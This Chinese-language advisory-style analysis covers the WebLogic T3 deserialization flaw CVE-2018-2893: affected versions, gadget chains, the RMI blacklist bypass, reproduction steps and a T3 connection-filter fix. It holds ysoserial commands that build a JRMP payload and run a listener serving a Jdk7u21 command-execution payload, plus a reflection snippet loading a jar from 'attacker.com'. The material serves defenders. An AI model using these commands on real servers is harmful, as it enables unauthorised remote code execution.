天融信关于CVE-2018-2893 WebLogic反序列化漏洞分析
字数 1652 2025-08-18 11:37:27

WebLogic反序列化漏洞(CVE-2018-2893)深度分析与防护指南

一、漏洞背景

1.1 漏洞概述

CVE-2018-2893是Oracle WebLogic Server中的一个高危反序列化漏洞,允许攻击者在未授权情况下远程执行代码。该漏洞产生于WebLogic T3服务,当开放WebLogic控制台端口(默认7001)时,T3服务会默认开启。

1.2 受影响版本

  • WebLogic 10.3.6.0
  • WebLogic 12.1.3.0
  • WebLogic 12.2.1.2
  • WebLogic 12.2.1.3

二、技术原理分析

2.1 漏洞关联

此漏洞与之前的JRMP协议漏洞(CVE-2018-2628)密切相关,结合了RMI机制缺陷和JDK反序列化漏洞绕过了WebLogic黑名单。

2.2 反序列化利用链基础

在CVE-2015-4852中利用的是Commons Collections库,主要有两大利用链:

2.2.1 TransformedMap利用链

核心是反射机制:

// 反射调用java.net.URLClassLoader.class示例
Class clazz = Class.forName("java.net.URLClassLoader");
Method method = clazz.getMethod("newInstance", URL[].class);
Object object = method.invoke(null, new Object[]{new URL[]{new URL("http://attacker.com/evil.jar")}});

关键反射方法在InvokerTransformer中的transform方法,通过反序列化调用该方法。

调用链:

AnnotationInvocationHandler.readObject() 
→ MapEntry.setValue() 
→ TransformedMap.checkSetValue() 
→ transform()

2.2.2 LazyMap利用链

  • LazyMap.get()调用transform()方法
  • AnnotationInvocationHandler.invoke()调用get()方法
  • 通过动态代理方式触发

2.3 RMI绕过机制

  • CVE-2017-3248和CVE-2018-2628漏洞都利用了RMI的序列化/反序列化
  • CVE-2018-2628利用java.rmi.activation.Activator接口绕过黑名单(之前只封堵了java.rmi.registry.Registry

2.4 JDK反序列化漏洞利用

当Commons Collections补丁修复后,攻击者转向利用JDK自身的反序列化漏洞:

2.4.1 JDK7u21利用链

  • 创建恶意的TemplatesImpl对象存入LinkedHashSet
  • LinkedHashSetHashSetreadObject()put()
  • 利用hash绕过:proxy.hashCode() == templates.hashCode()
  • 关键字符串:"f5a5a608"(用于hash绕过)

2.4.2 JDK8u20利用链

在JDK7u21基础上改进:

  • 插入BeanContextSupport对象绕过异常中断
  • 利用BeanContextSupport.readObject()中的continue语句
  • 需要调整偏移量

三、漏洞复现

3.1 利用工具

使用ysoserial工具生成payload:

java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar JRMPClient2 "攻击者IP:1099" > payload_1

3.2 攻击步骤

  1. 攻击者通过T3协议发送payload到WebLogic
  2. WebLogic的RMI通过JRMP与攻击者服务器通信
  3. 攻击者服务器下发JDK7u21的payload
  4. WebLogic执行恶意代码(如弹出计算器)

监听服务器设置:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "calc.exe"

四、防护措施

4.1 官方补丁

Oracle已在2018年7月关键补丁更新中修复此漏洞,建议用户:

  1. 使用正版软件许可账户登录Oracle支持网站
  2. 下载并安装最新补丁

4.2 临时解决方案

通过控制T3协议访问权限临时阻断漏洞利用:

  1. 修改WebLogic默认连接筛选器weblogic.security.net.ConnectionFilterImpl
  2. 配置规则限制T3及T3S协议的访问

示例配置:

<connection-filter>
    <connection-filter-rule>
        <protocol>t3</protocol>
        <deny>true</deny>
    </connection-filter-rule>
    <connection-filter-rule>
        <protocol>t3s</protocol>
        <deny>true</deny>
    </connection-filter-rule>
</connection-filter>

五、总结

CVE-2018-2893漏洞展示了反序列化攻击的持续演变:

  1. 从Commons Collections到JDK自身漏洞的利用转变
  2. 结合RMI机制绕过黑名单限制
  3. 利用异常处理机制绕过防护

企业应及时应用补丁,并持续监控WebLogic等中间件的安全更新,同时实施深度防御策略,限制不必要的网络协议访问。

WebLogic反序列化漏洞(CVE-2018-2893)深度分析与防护指南 一、漏洞背景 1.1 漏洞概述 CVE-2018-2893是Oracle WebLogic Server中的一个高危反序列化漏洞,允许攻击者在未授权情况下远程执行代码。该漏洞产生于WebLogic T3服务,当开放WebLogic控制台端口(默认7001)时,T3服务会默认开启。 1.2 受影响版本 WebLogic 10.3.6.0 WebLogic 12.1.3.0 WebLogic 12.2.1.2 WebLogic 12.2.1.3 二、技术原理分析 2.1 漏洞关联 此漏洞与之前的JRMP协议漏洞(CVE-2018-2628)密切相关,结合了RMI机制缺陷和JDK反序列化漏洞绕过了WebLogic黑名单。 2.2 反序列化利用链基础 在CVE-2015-4852中利用的是Commons Collections库,主要有两大利用链: 2.2.1 TransformedMap利用链 核心是反射机制: 关键反射方法在 InvokerTransformer 中的 transform 方法,通过反序列化调用该方法。 调用链: 2.2.2 LazyMap利用链 LazyMap.get() 调用 transform() 方法 AnnotationInvocationHandler.invoke() 调用 get() 方法 通过动态代理方式触发 2.3 RMI绕过机制 CVE-2017-3248和CVE-2018-2628漏洞都利用了RMI的序列化/反序列化 CVE-2018-2628利用 java.rmi.activation.Activator 接口绕过黑名单(之前只封堵了 java.rmi.registry.Registry ) 2.4 JDK反序列化漏洞利用 当Commons Collections补丁修复后,攻击者转向利用JDK自身的反序列化漏洞: 2.4.1 JDK7u21利用链 创建恶意的 TemplatesImpl 对象存入 LinkedHashSet LinkedHashSet → HashSet → readObject() → put() 利用hash绕过: proxy.hashCode() == templates.hashCode() 关键字符串: "f5a5a608" (用于hash绕过) 2.4.2 JDK8u20利用链 在JDK7u21基础上改进: 插入 BeanContextSupport 对象绕过异常中断 利用 BeanContextSupport.readObject() 中的 continue 语句 需要调整偏移量 三、漏洞复现 3.1 利用工具 使用ysoserial工具生成payload: 3.2 攻击步骤 攻击者通过T3协议发送payload到WebLogic WebLogic的RMI通过JRMP与攻击者服务器通信 攻击者服务器下发JDK7u21的payload WebLogic执行恶意代码(如弹出计算器) 监听服务器设置: 四、防护措施 4.1 官方补丁 Oracle已在2018年7月关键补丁更新中修复此漏洞,建议用户: 使用正版软件许可账户登录 Oracle支持网站 下载并安装最新补丁 4.2 临时解决方案 通过控制T3协议访问权限临时阻断漏洞利用: 修改WebLogic默认连接筛选器 weblogic.security.net.ConnectionFilterImpl 配置规则限制T3及T3S协议的访问 示例配置: 五、总结 CVE-2018-2893漏洞展示了反序列化攻击的持续演变: 从Commons Collections到JDK自身漏洞的利用转变 结合RMI机制绕过黑名单限制 利用异常处理机制绕过防护 企业应及时应用补丁,并持续监控WebLogic等中间件的安全更新,同时实施深度防御策略,限制不必要的网络协议访问。